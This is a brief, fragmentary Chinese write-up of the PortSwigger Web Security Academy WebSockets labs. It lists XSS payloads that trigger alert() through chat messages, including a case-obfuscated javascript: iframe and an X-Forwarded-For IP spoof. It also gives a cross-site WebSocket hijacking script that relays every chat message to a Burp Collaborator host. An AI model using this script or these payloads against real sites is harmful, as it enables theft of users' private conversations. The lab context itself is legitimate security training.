WebSockets
实现的在线聊天功能WebScoket
消息触发alert()
WebSockets
实现的在线聊天功能WebScoket
消息触发alert()
X-Forwarded-For
伪造IP重置连接即可)
()
onxxxx
事件javascript
<iframe src=‘JavAsCript:alert`1`‘>
题目描述
WebSockets
实现的在线聊天功能要求
解题过程
websocket劫持和利用iframe通信进行csrf比较类似,通过事件绑定来返回数据
脚本参考solution,没有考虑到onopen
事件的处理
<script>
websocket = new WebSocket(‘wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat‘)
websocket.onopen = function start(event) {
websocket.send("READY");
}
websocket.onmessage = function handleReply(event) {
fetch(‘https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?‘+event.data, {mode: ‘no-cors‘})
}
</script>
Portswigger web security academy:WebSockets
原文:https://www.cnblogs.com/R3col/p/14588513.html